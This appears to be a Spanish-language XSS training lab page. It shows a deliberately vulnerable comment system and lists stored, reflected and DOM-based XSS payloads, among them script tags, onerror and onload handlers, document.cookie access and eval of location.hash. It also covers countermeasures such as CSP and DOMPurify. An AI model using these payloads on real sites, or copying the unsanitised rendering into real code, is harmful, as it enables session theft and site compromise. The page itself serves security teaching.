XSS Laboratory

Laboratorio avanzado para explorar y dominar técnicas de Cross-Site Scripting

⚡ ENTORNO DE EXPLOTACIÓN XSS AVANZADO

Laboratorio XSS Interactivo

💬Agregar Comentario (Stored XSS)

⚙️Configuración de Seguridad

⚠️Advertencia Crítica

El modo "Vulnerable" ejecutará cualquier código JavaScript en los comentarios. Esto simula una vulnerabilidad real de XSS.

Tipos de XSS Activos:

  • • Stored XSS (persistente en comentarios)
  • • Reflected XSS (en modo vulnerable)
  • • DOM-based XSS (manipulación directa)

💬Comentarios Almacenados (4)

Comentario #1
Welcome to our site!
Mostrar HTML sin procesar
Welcome to our site!
Comentario #2
Mostrar HTML sin procesar
<script>alert("Stored XSS")</script>
Comentario #3
This is a normal comment
Mostrar HTML sin procesar
This is a normal comment
Comentario #4
Mostrar HTML sin procesar
<img src="x" onerror="alert('Image XSS')" />

🧪Arsenal de Payloads XSS

Payloads Básicos:
<script>alert('XSS')</script>
<img src="x" onerror="alert('XSS')" />
<svg onload="alert('XSS')" />
Payloads Avanzados:
<iframe src="javascript:alert('XSS')" />
<body onload="alert('XSS')" />
<input onfocus="alert('XSS')" autofocus />

🧪Vectores de Ataque XSS Implementados

💾

Stored XSS

El payload malicioso se almacena persistentemente en la base de datos y se ejecuta cada vez que cualquier usuario carga la página.

🔥 Nivel de Peligro: CRÍTICO - Afecta a todos los usuarios que visiten la página

Payloads de ejemplo:

<script>alert('XSS')</script><img src=x onerror=alert(1)>
🔄

Reflected XSS

El payload se refleja inmediatamente en la respuesta HTTP sin ser almacenado permanentemente.

⚡ Vector común: Parámetros URL, formularios de búsqueda

Técnicas avanzadas:

javascript:alert(document.cookie)<svg onload=alert(1)>
🌐

DOM-based XSS

El payload se ejecuta modificando el DOM del lado del cliente sin interacción directa con el servidor.

🎯 Ejecutado: Completamente en el navegador del usuario

Vectores DOM:

#<img src=x onerror=alert(1)>javascript:eval(location.hash.slice(1))

⚠️Advertencia Crítica

dangerouslySetInnerHTML

Esta página utiliza dangerouslySetInnerHTMLque permite la ejecución de JavaScript arbitrario. En aplicaciones de producción, NUNCA uses esta función con datos no confiables.

Impacto Real
  • • Robo de cookies y tokens de sesión
  • • Phishing y redirección maliciosa
  • • Keylogging y captura de credenciales
  • • Defacement y manipulación de contenido

🛡️Contramedidas Avanzadas

Content Security Policy (CSP)

Implementa CSP estrictas para bloquear la ejecución de scripts inline y restringir las fuentes de recursos.

Input Sanitization
  • • HTML encoding/escaping
  • • Whitelist de elementos permitidos
  • • Validación en servidor y cliente
  • • Bibliotecas como DOMPurify